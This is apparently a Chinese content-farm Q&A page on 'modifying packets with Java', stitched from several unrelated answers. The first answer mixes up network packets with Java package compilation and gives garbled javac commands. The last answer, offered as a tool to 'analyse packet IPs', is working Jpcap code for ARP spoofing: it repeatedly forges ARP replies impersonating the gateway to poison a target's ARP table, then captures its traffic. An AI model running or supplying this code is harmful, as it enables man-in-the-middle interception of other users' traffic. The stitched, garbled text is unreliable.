「java修改封包」怎么修改封包数据包
今天给各位分享java修改封包的知识,其中也会对怎么修改封包数据包进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!
本文目录一览:
- 1、怎么封包?说的详细点,还有要使用什么工具什么的
- 2、java代码有没有办法操作封包
- 3、我在玩一款手机网游,想用wpe抓取封包修改数据,请问大神们通过java模拟器抓取的封包有效吗???
- 4、JAVA程序获取封包IP,求帮忙写个程序分析封包IP。
怎么封包?说的详细点,还有要使用什么工具什么的
不知道你的封包指的是什么呢?
Java封包的步骤:
1, 编译Cale.j ava
命令:javac –d . Cale.jav a
这是会在当前目录产生一个com文件夹。这个文件夹的名字跟你所起的包的名字有关。同时形成com-fts-tengfei-cale-Cale.ja va的目录关系。
2.编译Test.j a v a
命令:命令:java c –d . Cale.j av a
也会在当前目录形成com-fts-tengfei-test-Test.ja v a的目录关系。
至于为什么会在当前目录形成。是因为命令行的-d . 选项,如果换成命令:javac –d c:\ Cale.java那么就会在c:\形成同样的目录关系。
注意:-d选项必不可少,否则无法进行。
如果不封包直接运行输入:
命令:java com.fts.tengfei.test.Test
java代码有没有办法操作封包
正常情况是用C或C++来实现.. 如果你可以用JAVA调用系统DLL 就可以实现.. 不过麻烦大大的
我在玩一款手机网游,想用wpe抓取封包修改数据,请问大神们通过java模拟器抓取的封包有效吗???
没用吧,以前的网游都把数据存在客户端,所以可以修改,现在都在服务器端,另外封包都加密了。。。很难吧
JAVA程序获取封包IP,求帮忙写个程序分析封包IP。
public class LocalListener {
private final static String GATE_IP = "192.168.11.1";
private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a};
private JpcapCaptor jpcap; //与设备的连接
private JpcapSender sender; //用于发送的实例
private Packet replyPacket; //ARP reply包
private NetworkInterface device; //当前机器网卡设备
private IpMacMap targetIpMacMap; //目的地IP MAC对
public LocalListener(IpMacMap target) throws Exception {
NetworkInterface[] devices = JpcapCaptor.getDeviceList(); device = devices[1];
this.targetIpMacMap = target;
initSender();
initPacket();
}
private void initSender() throws Exception {
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
jpcap.setFilter("ip", true); //只监听ip数据包
sender = jpcap.getJpcapSenderInstance();
}
private void initPacket() throws Exception {
//reply包的源IP和MAC地址,此IP-MAC对将会被映射到ARP表
IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);
//创建修改目标机器ARP的包
replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);
//创建以太网头信息,并打包进reply包
replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),
device.mac_address);
}
public void listen() throws InterruptedException{
Thread t = new Thread(new Runnable() {
public void run() {
//发送reply封包,修改目的地arp表, arp表会在一段时间内被更新,所以需要不停发送
while(true){
send();
try {
Thread.sleep(500);
} catch (InterruptedException ex) {
Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
});
t.start();
//截获当前网络设备的封包收发信息
while(true){
IPPacket ipPacket = (IPPacket)jpcap.getPacket();
System.out.println(ipPacket);
}
}}
//IP-MAC实体,只用于保存一对IP-MAC地址
public class IpMacMap {
private String ip;
private byte[] mac;
public IpMacMap(){
}
public IpMacMap(String ip, byte[] mac){
this.ip = ip;
this.mac = mac;
}
public String getIp() {
return ip;
}
public void setIp(String ip) {
this.ip = ip;
}
public byte[] getMac() {
return mac;
}
public void setMac(byte[] mac) {
this.mac = mac;
}
}
//ARP reply包生成类,用于根据目的地址和源地址生成reply包
public class ARPPacketGern{
public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
ARPPacket arpTarget = new ARPPacket();
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型
arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型
arpTarget.hlen = 6; //MAC地址长度固定6个字节
arpTarget.plen = 4; //IP地址长度固定4个字节
arpTarget.target_hardaddr = target.getMac();
arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
arpTarget.sender_hardaddr = sender.getMac();
arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
return arpTarget;
}
}
//根据目的地MAC和源MAC构建以太网头信息,用于传输数据
public class EthernetPacketGern{
public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {
EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //选择以太包类型
ethToTarget.dst_mac = targetMac;
ethToTarget.src_mac = senderMac;
return ethToTarget;
}
}
java修改封包的介绍就聊到这里吧,感谢你花时间阅读本站内容,更多关于怎么修改封包数据包、java修改封包的信息别忘了在本站进行查找喔。